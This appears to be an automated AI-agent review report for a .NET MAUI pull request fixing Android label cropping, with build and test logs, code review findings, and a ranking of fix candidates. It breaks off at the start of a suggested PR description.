  UITest.Appium -> /home/vsts/work/1/s/artifacts/bin/UITest.Appium/Debug/net10.0/UITest.Appium.dll
  UITest.Analyzers -> /home/vsts/work/1/s/artifacts/bin/UITest.Analyzers/Debug/netstandard2.0/UITest.Analyzers.dll
  Controls.TestCases.Android.Tests -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.Android.Tests/Debug/net10.0/Controls.TestCases.Android.Tests.dll
Test run for /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.Android.Tests/Debug/net10.0/Controls.TestCases.Android.Tests.dll (.NETCoreApp,Version=v10.0)
VSTest version 18.0.1 (x64)

Starting test execution, please wait...
A total of 1 test files matched the specified pattern.
[xUnit.net 00:00:00.00] xUnit.net VSTest Adapter v2.8.2+699d445a1a (64-bit .NET 10.0.0)
[xUnit.net 00:00:00.13]   Discovering: Controls.TestCases.Android.Tests
[xUnit.net 00:00:00.41]   Discovered:  Controls.TestCases.Android.Tests
NUnit Adapter 4.5.0.0: Test execution started
Running selected tests in /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.Android.Tests/Debug/net10.0/Controls.TestCases.Android.Tests.dll
   NUnit3TestExecutor discovered 1 of 1 NUnit test cases using Current Discovery mode, Non-Explicit run
>>>>> 05/29/2026 15:31:12 FixtureSetup for Issue28117(Android)
>>>>> 05/29/2026 15:31:13 ShouldDisplayLabelWithoutBeingCroppedInsideBorder Start
>>>>> 05/29/2026 15:31:19 ShouldDisplayLabelWithoutBeingCroppedInsideBorder Stop
>>>>> 05/29/2026 15:31:19 Log types: logcat, bugreport, server
  Failed ShouldDisplayLabelWithoutBeingCroppedInsideBorder [6 s]
  Error Message:
   VisualTestUtils.VisualTestFailedException : 
Snapshot different than baseline: ShouldDisplayLabelWithoutBeingCroppedInsideBorder.png (1.86% difference)
If the correct baseline has changed (this isn't a a bug), then update the baseline image.
See test attachment or download the build artifacts to get the new snapshot file.

More info: https://aka.ms/visual-test-workflow

  Stack Trace:
     at VisualTestUtils.VisualRegressionTester.Fail(String message) in /_/src/TestUtils/src/VisualTestUtils/VisualRegressionTester.cs:line 162
   at VisualTestUtils.VisualRegressionTester.VerifyMatchesSnapshot(String name, ImageSnapshot actualImage, String environmentName, ITestContext testContext) in /_/src/TestUtils/src/VisualTestUtils/VisualRegressionTester.cs:line 123
   at Microsoft.Maui.TestCases.Tests.UITest.<VerifyScreenshot>g__Verify|13_0(String name, <>c__DisplayClass13_0&) in /_/src/Controls/tests/TestCases.Shared.Tests/UITest.cs:line 477
   at Microsoft.Maui.TestCases.Tests.UITest.VerifyScreenshot(String name, Nullable`1 retryDelay, Nullable`1 retryTimeout, Int32 cropLeft, Int32 cropRight, Int32 cropTop, Int32 cropBottom, Double tolerance) in /_/src/Controls/tests/TestCases.Shared.Tests/UITest.cs:line 309
   at Microsoft.Maui.TestCases.Tests.Issues.Issue28117.ShouldDisplayLabelWithoutBeingCroppedInsideBorder() in /_/src/Controls/tests/TestCases.Shared.Tests/Tests/Issues/Issue28117.cs:line 19
   at System.Reflection.MethodBaseInvoker.InterpretedInvoke_Method(Object obj, IntPtr* args)
   at System.Reflection.MethodBaseInvoker.InvokeWithNoArgs(Object obj, BindingFlags invokeAttr)

NUnit Adapter 4.5.0.0: Test execution complete
Results File: /home/vsts/work/1/s/CustomAgentLogsTmp/UITests/TestResults/Issue28117.trx

Total tests: 1
     Failed: 1
Test Run Failed.
 Total time: 32.5118 Seconds
>>> TRX_RESULT_FILE: /home/vsts/work/1/s/CustomAgentLogsTmp/UITests/TestResults/Issue28117.trx

🟢 With fix — 🖥️ Issue28117: PASS ✅ · 596s
  Determining projects to restore...
  Restored /home/vsts/work/1/s/src/Graphics/src/Graphics/Graphics.csproj (in 1.03 sec).
  Restored /home/vsts/work/1/s/src/Essentials/src/Essentials.csproj (in 1.03 sec).
  Restored /home/vsts/work/1/s/src/Controls/src/Core/Controls.Core.csproj (in 283 ms).
  Restored /home/vsts/work/1/s/src/Core/src/Core.csproj (in 359 ms).
  Restored /home/vsts/work/1/s/src/Controls/src/BindingSourceGen/Controls.BindingSourceGen.csproj (in 65 ms).
  Restored /home/vsts/work/1/s/src/Core/maps/src/Maps.csproj (in 69 ms).
  Restored /home/vsts/work/1/s/src/Controls/Maps/src/Controls.Maps.csproj (in 138 ms).
  Restored /home/vsts/work/1/s/src/Controls/src/Xaml/Controls.Xaml.csproj (in 49 ms).
  3 of 11 projects are up-to-date for restore.
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Graphics -> /home/vsts/work/1/s/artifacts/bin/Graphics/Debug/net10.0-android36.0/Microsoft.Maui.Graphics.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Essentials -> /home/vsts/work/1/s/artifacts/bin/Essentials/Debug/net10.0-android36.0/Microsoft.Maui.Essentials.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Core -> /home/vsts/work/1/s/artifacts/bin/Core/Debug/net10.0-android36.0/Microsoft.Maui.dll
  Controls.BindingSourceGen -> /home/vsts/work/1/s/artifacts/bin/Controls.BindingSourceGen/Debug/netstandard2.0/Microsoft.Maui.Controls.BindingSourceGen.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Maps -> /home/vsts/work/1/s/artifacts/bin/Maps/Debug/net10.0-android36.0/Microsoft.Maui.Maps.dll
  Controls.Core -> /home/vsts/work/1/s/artifacts/bin/Controls.Core/Debug/net10.0-android36.0/Microsoft.Maui.Controls.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Controls.Xaml -> /home/vsts/work/1/s/artifacts/bin/Controls.Xaml/Debug/net10.0-android36.0/Microsoft.Maui.Controls.Xaml.dll
  Controls.Foldable -> /home/vsts/work/1/s/artifacts/bin/Controls.Foldable/Debug/net10.0-android36.0/Microsoft.Maui.Controls.Foldable.dll
  Controls.Maps -> /home/vsts/work/1/s/artifacts/bin/Controls.Maps/Debug/net10.0-android36.0/Microsoft.Maui.Controls.Maps.dll
  Microsoft.AspNetCore.Components.WebView.Maui -> /home/vsts/work/1/s/artifacts/bin/Microsoft.AspNetCore.Components.WebView.Maui/Debug/net10.0-android36.0/Microsoft.AspNetCore.Components.WebView.Maui.dll
  Controls.TestCases.HostApp -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Controls.TestCases.HostApp.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Graphics -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.Graphics.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Essentials -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.Essentials.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Core -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Controls.BindingSourceGen -> /home/vsts/work/1/s/artifacts/bin/Controls.BindingSourceGen/Debug/netstandard2.0/Microsoft.Maui.Controls.BindingSourceGen.dll
  Maps -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.Maps.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Controls.Core -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.Controls.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Controls.Foldable -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.Controls.Foldable.dll
  Microsoft.AspNetCore.Components.WebView.Maui -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.AspNetCore.Components.WebView.Maui.dll
  Controls.Xaml -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.Controls.Xaml.dll
  Controls.Maps -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.Controls.Maps.dll

Build succeeded.
    0 Warning(s)
    0 Error(s)

Time Elapsed 00:07:39.29
Broadcasting: Intent { act=android.intent.action.CLOSE_SYSTEM_DIALOGS flg=0x400000 }
Broadcast completed: result=0
  Determining projects to restore...
  All projects are up-to-date for restore.
  Controls.CustomAttributes -> /home/vsts/work/1/s/artifacts/bin/Controls.CustomAttributes/Debug/net10.0/Controls.CustomAttributes.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Graphics -> /home/vsts/work/1/s/artifacts/bin/Graphics/Debug/net10.0/Microsoft.Maui.Graphics.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Essentials -> /home/vsts/work/1/s/artifacts/bin/Essentials/Debug/net10.0/Microsoft.Maui.Essentials.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Core -> /home/vsts/work/1/s/artifacts/bin/Core/Debug/net10.0/Microsoft.Maui.dll
  Controls.BindingSourceGen -> /home/vsts/work/1/s/artifacts/bin/Controls.BindingSourceGen/Debug/netstandard2.0/Microsoft.Maui.Controls.BindingSourceGen.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Controls.Core -> /home/vsts/work/1/s/artifacts/bin/Controls.Core/Debug/net10.0/Microsoft.Maui.Controls.dll
  UITest.Core -> /home/vsts/work/1/s/artifacts/bin/UITest.Core/Debug/net10.0/UITest.Core.dll
  VisualTestUtils -> /home/vsts/work/1/s/artifacts/bin/VisualTestUtils/Debug/netstandard2.0/VisualTestUtils.dll
  UITest.Appium -> /home/vsts/work/1/s/artifacts/bin/UITest.Appium/Debug/net10.0/UITest.Appium.dll
  VisualTestUtils.MagickNet -> /home/vsts/work/1/s/artifacts/bin/VisualTestUtils.MagickNet/Debug/netstandard2.0/VisualTestUtils.MagickNet.dll
  UITest.NUnit -> /home/vsts/work/1/s/artifacts/bin/UITest.NUnit/Debug/net10.0/UITest.NUnit.dll
  UITest.Analyzers -> /home/vsts/work/1/s/artifacts/bin/UITest.Analyzers/Debug/netstandard2.0/UITest.Analyzers.dll
  Controls.TestCases.Android.Tests -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.Android.Tests/Debug/net10.0/Controls.TestCases.Android.Tests.dll
Test run for /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.Android.Tests/Debug/net10.0/Controls.TestCases.Android.Tests.dll (.NETCoreApp,Version=v10.0)
VSTest version 18.0.1 (x64)

Starting test execution, please wait...
A total of 1 test files matched the specified pattern.
[xUnit.net 00:00:00.00] xUnit.net VSTest Adapter v2.8.2+699d445a1a (64-bit .NET 10.0.0)
[xUnit.net 00:00:00.13]   Discovering: Controls.TestCases.Android.Tests
[xUnit.net 00:00:00.36]   Discovered:  Controls.TestCases.Android.Tests
NUnit Adapter 4.5.0.0: Test execution started
Running selected tests in /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.Android.Tests/Debug/net10.0/Controls.TestCases.Android.Tests.dll
   NUnit3TestExecutor discovered 1 of 1 NUnit test cases using Current Discovery mode, Non-Explicit run
>>>>> 05/29/2026 16:15:47 FixtureSetup for Issue28117(Android)
>>>>> 05/29/2026 16:15:48 ShouldDisplayLabelWithoutBeingCroppedInsideBorder Start
>>>>> 05/29/2026 16:15:52 ShouldDisplayLabelWithoutBeingCroppedInsideBorder Stop
  Passed ShouldDisplayLabelWithoutBeingCroppedInsideBorder [4 s]
NUnit Adapter 4.5.0.0: Test execution complete
Results File: /home/vsts/work/1/s/CustomAgentLogsTmp/UITests/TestResults/Issue28117.trx

Test Run Successful.
Total tests: 1
     Passed: 1
 Total time: 19.6628 Seconds
>>> TRX_RESULT_FILE: /home/vsts/work/1/s/CustomAgentLogsTmp/UITests/TestResults/Issue28117.trx

🔴 Without fix — 🧪 GridLayoutManagerDensityTests: PASS ❌ · 24s
  Determining projects to restore...
  Restored /home/vsts/work/1/s/src/TestUtils/src/TestUtils/TestUtils.csproj (in 941 ms).
  Restored /home/vsts/work/1/s/src/Core/tests/UnitTests/Core.UnitTests.csproj (in 1.34 sec).
  5 of 7 projects are up-to-date for restore.
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Graphics -> /home/vsts/work/1/s/artifacts/bin/Graphics/Debug/net10.0/Microsoft.Maui.Graphics.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Essentials -> /home/vsts/work/1/s/artifacts/bin/Essentials/Debug/net10.0/Microsoft.Maui.Essentials.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Core -> /home/vsts/work/1/s/artifacts/bin/Core/Debug/net10.0/Microsoft.Maui.dll
  Controls.BindingSourceGen -> /home/vsts/work/1/s/artifacts/bin/Controls.BindingSourceGen/Debug/netstandard2.0/Microsoft.Maui.Controls.BindingSourceGen.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Controls.Core -> /home/vsts/work/1/s/artifacts/bin/Controls.Core/Debug/net10.0/Microsoft.Maui.Controls.dll
  TestUtils -> /home/vsts/work/1/s/artifacts/bin/TestUtils/Debug/netstandard2.0/Microsoft.Maui.TestUtils.dll
  Core.UnitTests -> /home/vsts/work/1/s/artifacts/bin/Core.UnitTests/Debug/net10.0/Microsoft.Maui.UnitTests.dll
Test run for /home/vsts/work/1/s/artifacts/bin/Core.UnitTests/Debug/net10.0/Microsoft.Maui.UnitTests.dll (.NETCoreApp,Version=v10.0)
VSTest version 18.0.1 (x64)

Starting test execution, please wait...
A total of 1 test files matched the specified pattern.
[xUnit.net 00:00:00.00] xUnit.net VSTest Adapter v2.8.2+699d445a1a (64-bit .NET 10.0.0)
[xUnit.net 00:00:00.32]   Discovering: Microsoft.Maui.UnitTests
[xUnit.net 00:00:01.34]   Discovered:  Microsoft.Maui.UnitTests
[xUnit.net 00:00:01.36]   Starting:    Microsoft.Maui.UnitTests
[xUnit.net 00:00:01.63]   Finished:    Microsoft.Maui.UnitTests
  Passed DensityValue_ThreeEqualColumns_PerfectDivision [21 ms]
  Passed DensityValue_FourEqualColumns_WithRemainder [< 1 ms]
  Passed DensityValue_WeightedStarSizing_PerfectDivision [< 1 ms]
  Passed DensityValue_RemainderPixels_Distribution(totalPixels: 103, density: 1, portions: [1, 1, 1, 1], expectedBase: 25) [< 1 ms]
  Passed DensityValue_RemainderPixels_Distribution(totalPixels: 100, density: 1, portions: [1, 1, 1, 1], expectedBase: 25) [2 ms]
  Passed DensityValue_RemainderPixels_Distribution(totalPixels: 101, density: 1, portions: [1, 1, 1, 1], expectedBase: 25) [< 1 ms]
  Passed DensityValue_ThreeEqualColumns_WithRemainder [< 1 ms]
  Passed DensityValue_WeightedStarSizing_WithRounding [< 1 ms]

Test Run Successful.
Total tests: 8
     Passed: 8
 Total time: 2.9583 Seconds

🟢 With fix — 🧪 GridLayoutManagerDensityTests: PASS ✅ · 19s
  Determining projects to restore...
  All projects are up-to-date for restore.
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Graphics -> /home/vsts/work/1/s/artifacts/bin/Graphics/Debug/net10.0/Microsoft.Maui.Graphics.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Essentials -> /home/vsts/work/1/s/artifacts/bin/Essentials/Debug/net10.0/Microsoft.Maui.Essentials.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Core -> /home/vsts/work/1/s/artifacts/bin/Core/Debug/net10.0/Microsoft.Maui.dll
  Controls.BindingSourceGen -> /home/vsts/work/1/s/artifacts/bin/Controls.BindingSourceGen/Debug/netstandard2.0/Microsoft.Maui.Controls.BindingSourceGen.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Controls.Core -> /home/vsts/work/1/s/artifacts/bin/Controls.Core/Debug/net10.0/Microsoft.Maui.Controls.dll
  TestUtils -> /home/vsts/work/1/s/artifacts/bin/TestUtils/Debug/netstandard2.0/Microsoft.Maui.TestUtils.dll
  Core.UnitTests -> /home/vsts/work/1/s/artifacts/bin/Core.UnitTests/Debug/net10.0/Microsoft.Maui.UnitTests.dll
Test run for /home/vsts/work/1/s/artifacts/bin/Core.UnitTests/Debug/net10.0/Microsoft.Maui.UnitTests.dll (.NETCoreApp,Version=v10.0)
VSTest version 18.0.1 (x64)

Starting test execution, please wait...
A total of 1 test files matched the specified pattern.
[xUnit.net 00:00:00.00] xUnit.net VSTest Adapter v2.8.2+699d445a1a (64-bit .NET 10.0.0)
[xUnit.net 00:00:00.29]   Discovering: Microsoft.Maui.UnitTests
[xUnit.net 00:00:01.00]   Discovered:  Microsoft.Maui.UnitTests
[xUnit.net 00:00:01.01]   Starting:    Microsoft.Maui.UnitTests
[xUnit.net 00:00:01.16]   Finished:    Microsoft.Maui.UnitTests
  Passed DensityValue_ThreeEqualColumns_PerfectDivision [19 ms]
  Passed DensityValue_FourEqualColumns_WithRemainder [< 1 ms]
  Passed DensityValue_WeightedStarSizing_PerfectDivision [< 1 ms]
  Passed DensityValue_RemainderPixels_Distribution(totalPixels: 103, density: 1, portions: [1, 1, 1, 1], expectedBase: 25) [2 ms]
  Passed DensityValue_RemainderPixels_Distribution(totalPixels: 100, density: 1, portions: [1, 1, 1, 1], expectedBase: 25) [< 1 ms]
  Passed DensityValue_RemainderPixels_Distribution(totalPixels: 101, density: 1, portions: [1, 1, 1, 1], expectedBase: 25) [< 1 ms]
  Passed DensityValue_ThreeEqualColumns_WithRemainder [2 ms]
  Passed DensityValue_WeightedStarSizing_WithRounding [< 1 ms]

Test Run Successful.
Total tests: 8
     Passed: 8
 Total time: 2.7728 Seconds

⚠️ Failure Details

  • WindowHandlerStub PASSED without fix (should fail) — tests don't catch the bug
  • GridLayoutManagerDensityTests PASSED without fix (should fail) — tests don't catch the bug
📁 Fix files reverted (5 files)
  • eng/pipelines/ci-copilot.yml
  • src/Controls/src/Core/View/View.cs
  • src/Core/src/Layouts/GridLayoutManager.cs
  • src/Core/src/Platform/Android/ContextExtensions.cs
  • src/Core/src/Platform/ElementExtensions.cs

New files (not reverted):

  • src/Core/src/IViewWithWindow.cs
  • src/Core/src/Layouts/DensityValue.cs

🧪 UI Tests — Border,Label,Layout,ViewBaseTests

Detected UI test categories: Border,Label,Layout,ViewBaseTests

Deep UI tests — 451 passed, 1 failed across 4 categories on platform-pool agent (replaces in-process counts above).

🧪 UI Test Execution Results (deep, platform pool)

Category Tests Snapshot diffs
Border 48/48 ✓
Label 94/97 (1 ❌) 7 diff PNGs
Layout 191/194 ✓
ViewBaseTests 118/119 ✓
Label — 1 failed test
FontFamily
VisualTestUtils.VisualTestFailedException : 
Snapshot different than baseline: LabelUITests_FontFamily_FontAwesome.png (0.53% difference)
If the correct baseline has changed (this isn't a a bug), then update the baseline image.
See test attachment or download the build artifacts to get the new snapshot file.

More info: https://aka.ms/visual-test-workflow
at VisualTestUtils.VisualRegressionTester.Fail(String message) in /_/src/TestUtils/src/VisualTestUtils/VisualRegressionTester.cs:line 162
   at VisualTestUtils.VisualRegressionTester.VerifyMatchesSnapshot(String name, ImageSnapshot actualImage, String environmentName, ITestContext testContext) in /_/src/TestUtils/src/VisualTestUtils/VisualRegressionTester.cs:line 123
   at Microsoft.Maui.TestCases.Tests.UITest.<VerifyScreenshot>g__Verify|13_0(String name, <>c__DisplayClass13_0&) in /_/src/Controls/tests/TestCases.Shared.Tests/UITest.cs:line 477
   at Microsoft.Maui.TestCases.Tests.UITest.VerifyScreenshot(String name, Nullable`1 retryD
...

📎 Download drop-deep-uitests artifact (TRX + snapshot diffs)


🔍 Pre-Flight — Context & Validation

Issue: #28117 - [Android] Labels are cut off when embedded in a layout with non-zero Margin/Padding at specific DPI and screen resolution values.
PR: #31755 - Adopt DensityValue in Grid to Enable Precise Pixel-Aware Layout & Fixed label cropping inside the border control with a specific padding value on certain Android devices
Platforms Affected: Android
Files Changed: 16 implementation, 5 test, 554 snapshot

Key Findings

  • The linked issue is a verified Android regression where labels inside padded/margined layouts can be clipped on fractional-density devices such as Pixel 7 at 420dpi.
  • The PR's functional fix is broad: it introduces DensityValue, rewrites Grid star sizing to allocate physical pixels, exposes Window.RequestDisplayDensity() to Controls View, and changes Android Context.ToPixels(Rect) to derive right/bottom from converted origin plus converted size.
  • The PR also adds Android regression coverage for [Android] Labels are cut off when embedded in a layout with non-zero Margin/Padding at specific DPI and screen resolution values. #28117, device-test support for display density, and a large screenshot refresh set.
  • Prior issue discussion included a narrower proposed workaround in ContextExtensions.ToPixels(Rect): calculate right as converted left plus converted width, and bottom as converted top plus converted height.
  • Gate was already completed before this phase and reported failed; this pre-flight did not rerun gate verification.

Code Review Summary

Verdict: NEEDS_CHANGES
Confidence: high
Errors: 1 | Warnings: 2 | Suggestions: 0

Key code review findings:

  • src/Core/src/Layouts/GridLayoutManager.cs:932ExpandStars now allocates arrays and uses LINQ (Where(...).ToArray(), Select(...).ToArray(), Sum()) in Grid arrange/layout, a MAUI performance hot path.
  • ⚠️ src/Core/src/Platform/Android/ContextExtensions.cs:144Context.ToPixels(Rect) uses origin-plus-size rounding, but the sibling View.ToPixels(Rect) overload still converts Right/Bottom independently.
  • ⚠️ Latest required CI was reported failing by the code-review sub-agent; no CI failure classification was performed in this pre-flight because CI investigation is outside the requested context-only phase.

Failure-mode probes:

  • Star Grid dimensions where targetDp * density has a fractional pixel component may underfill or disagree with platform arrange rounding.
  • Any current or future Android caller of View.ToPixels(Rect) can still observe right/bottom rounding drift.
  • Scrolling or templated layouts containing Grids with star definitions may regress due to new per-arrange allocations.

Blast radius: High for Grid because GridLayoutManager is shared by Android, iOS, MacCatalyst, and Windows; narrower for the Android rectangle conversion.

Fix Candidates

# Source Approach Test Result Files Changed Notes
PR PR #31755 Introduces DensityValue for density-aware Grid star sizing and changes Android Context.ToPixels(Rect) to calculate right/bottom from converted left/top plus width/height. ❌ FAILED (Gate) DensityValue.cs, GridLayoutManager.cs, ContextExtensions.cs, View.cs, test files, snapshots Original PR; broad Grid change plus narrower Android Rect conversion.

🔬 Code Review — Deep Analysis

Code Review — PR #31755

Independent Assessment

What this changes: Adds a density-aware DensityValue helper and rewrites Grid star arrange sizing to allocate integer physical pixels, updates Android Context.ToPixels(Rect) to compute right/bottom from left/top plus size, exposes window density to Controls View, and adds Android/device/UI regression coverage plus refreshed Android screenshots.
Inferred motivation: Prevent cumulative Android dp-to-pixel rounding from causing adjacent Grid columns or Border/Label content to differ by a pixel, overlap, or crop on fractional-density devices.

Reconciliation with PR Narrative

Author claims: The PR fixes #28117 and #30017 by using pixel-aware Grid star distribution and by calculating rectangle right/bottom from converted origin plus converted size. It also notes #30340 was abandoned after rebase issues.
Agreement/disagreement: The code matches the stated intent, and the new tests target the described Android rounding/cropping scenarios. However, the implementation adds allocations in a layout hot path, and CI is currently not green (maui-pr/Build Analysis failed; Windows Helix Unit Tests Debug and Release failed).

Findings

❌ Error — LINQ allocations in Grid arrange hot path

src/Core/src/Layouts/GridLayoutManager.cs:932 and the proportional branch at :963-984 allocate arrays and enumerate with LINQ (Where(...).ToArray(), Select(...).ToArray(), Sum()) inside ExpandStars, which is called during Grid arrange/layout. This path is covered by the repository performance-hotpath guidance for src/Core/src/Layouts/**; please use indexed loops over defs and accumulate totals without temporary arrays.

⚠️ Warning — Sibling Rect conversion overload remains inconsistent

src/Core/src/Platform/Android/ContextExtensions.cs:144 fixes the public Context.ToPixels(Rect) overload by using left + width/top + height, but the internal View.ToPixels(Rect) overload just above still independently converts rectangle.Right/Bottom. I did not find current callers of the View overload, so this may not affect the reported issue today, but leaving two overloads with different rounding semantics is likely to reintroduce the same drift when the internal overload is used.

⚠️ Warning — Required CI is failing

The latest check runs show maui-pr and Build Analysis failed, with both Run Helix Unit Tests Windows Helix Unit Tests (Debug) and (Release) failing. I could not run the unavailable ci-analysis helper in this environment, so I am not classifying the failures as PR-caused, but the review cannot be LGTM while required CI is red.

Devil's Advocate

The density-aware approach appears directionally correct: converting allocated star widths back to dp should make Android's final ToPixels(frame) recover the intended integer widths. The View.ToPixels(Rect) concern is weaker because current code search found no callers, so it should not block by itself. The hot-path allocation concern is concrete and tied directly to arrange-time code covered by MAUI performance rules.

Verdict: NEEDS_CHANGES

Confidence: high
Summary: The behavioral goal matches the PR narrative, but GridLayoutManager.ExpandStars now allocates during layout arrange, which violates MAUI hot-path guidance and should be rewritten with allocation-free loops. CI is also currently failing, so this is not ready for approval.


🔧 Fix — Analysis & Comparison

Fix Candidates

# Source Approach Test Result Files Changed Notes
1 try-fix-1 Android-only outward-rounded Rect conversion in both Context.ToPixels(Rect) and View.ToPixels(Rect); removes Grid/DensityValue changes. ⚠️ BLOCKED ContextExtensions.cs Test runner reached HostApp build but was blocked by stale MAUI build tasks; setup build failed due missing net472 targeting packs.
2 try-fix-2 Conservative Android TextView AtMost measurement using floored pixel constraints. ⚠️ BLOCKED ViewHandlerExtensions.Android.cs, ContextExtensions.cs Skipped after environment blocker; targets TextView measurement rather than arrange conversion.
3 try-fix-3 Remeasure TextView from final native arrange bounds before layout. ⚠️ BLOCKED ViewHandlerExtensions.Android.cs Skipped after environment blocker; targets TextView measure/arrange mismatch.
4 try-fix-4 Label-specific one-pixel arrange guard preserving measured TextView width. ⚠️ BLOCKED LabelHandler.Android.cs, ViewHandlerExtensions.Android.cs Skipped after environment blocker; narrowest candidate but needs RTL/parent clipping validation.
PR PR #31755 Broad DensityValue/Grid star sizing rewrite plus Android Context.ToPixels(Rect) origin+size conversion. ❌ FAILED (Gate) Multiple layout/platform/test/snapshot files Original PR; code review found Grid hot-path allocations and inconsistent Rect overloads.

Cross-Pollination

Model Round New Ideas? Details
maui-expert-reviewer 1 Yes Candidate 1: Android-only outward-rounded Rect conversion; narrower than PR and fixes both Rect overloads.
maui-expert-reviewer 2 Yes Candidate 2: Conservative TextView AtMost measurement; learns from candidate 1 blocker and avoids Rect conversion variations.
maui-expert-reviewer 2 Yes Candidate 3: TextView final remeasure from native bounds; targets measure/arrange mismatch.
maui-expert-reviewer 3 Yes Candidate 4: Label-specific measured-width preservation; smallest blast radius.
maui-expert-reviewer 3 No Meaningfully different approaches are exhausted: remaining ideas are trivial variations of Rect rounding, TextView measuring, or one-pixel arrange expansion.

Exhausted: Yes
Selected Fix: None — all alternative candidates were blocked by the local Android HostApp build environment, and the PR's current fix already failed the prior gate. Candidate #4 is the narrowest unvalidated candidate; Candidate #1 best matches the issue's original workaround but has broader Android bounds-conversion impact.


📋 Report — Final Recommendation

Comparative Fix Report — PR #31755

Candidate Ranking

Rank Candidate Regression/Test Status Assessment
1 pr-plus-reviewer Targeted density unit tests passed; Android gate not rerun Best candidate. It preserves the PR's intended density-aware Grid fix while addressing expert-review correctness and performance issues. Test coverage is improved but still needs a proven Android fail-without-fix gate.
2 try-fix-1 Blocked Narrow Android-only Rect conversion that matches the original workaround direction and fixes both Context.ToPixels(Rect) and View.ToPixels(Rect). It has lower blast radius than the PR but was not validated and may affect all Android native bounds conversion.
3 try-fix-4 Blocked Narrowest runtime change: preserves Android Label measured width on one-pixel arrange shrink. It directly targets the symptom, but it is label-specific and needs RTL/parent-clipping validation.
4 try-fix-3 Blocked Remeasures TextView from final native arrange bounds. Plausible for measure/arrange mismatch but broader for all TextView-backed controls using PrepareForTextViewArrange.
5 try-fix-2 Blocked Conservative TextView AtMost measurement. Could avoid over-measuring text, but risks wrapping/height behavior changes across TextView-backed controls.
6 pr Failed gate Raw PR failed the supplied gate and has expert-review findings: floored density pixel budget, hot-path LINQ/array allocations, and insufficient regression proof.

Comparison Notes

The raw PR is broad: it adds DensityValue, rewrites Grid star sizing around display density, exposes window density to Controls View, and changes Android Context.ToPixels(Rect). The approach plausibly addresses fractional-density clipping, but the submitted implementation under-allocates when Android rounds the parent size up and allocates in Grid arrange hot paths.

try-fix-1 is the best independent alternative because it limits the fix to Android rectangle conversion and covers both Rect overloads, but it was blocked before Android validation. The TextView-focused candidates are narrower symptom fixes, yet they carry handler-specific behavioral risks and also lack validation. Because no try-fix candidate passed regression testing, none can outrank a PR-based candidate that has had the expert implementation defects corrected and at least passes the relevant density unit tests.

Winner

pr-plus-reviewer wins. It is the only candidate that combines the PR's intended root-cause direction with applied expert-review fixes and successful targeted unit validation. The Android regression gate still needs to be repaired/proven separately before merge readiness.


📋 Expand PR Finalization Review
Title: ⚠️ Needs Update

Current: Adopt DensityValue in Grid to Enable Precise Pixel-Aware Layout & Fixed label cropping inside the border control with a specific padding value on certain Android devices

Recommended: [Android] Fix label cropping in Border and Grid star-column pixel gaps via DensityValue layout

Description: ⚠️ Needs Update

Description needs updates. See details below.

✨ Suggested PR Description

[!NOTE]
Are you waiting for the changes in this PR to be merged?
It would be very helpful if you could test the resulting artifacts from this PR and let us know in a comment if this change resolves your issue. Thank you!

Root Cause

Issue #28117 — Label cropping in Border:
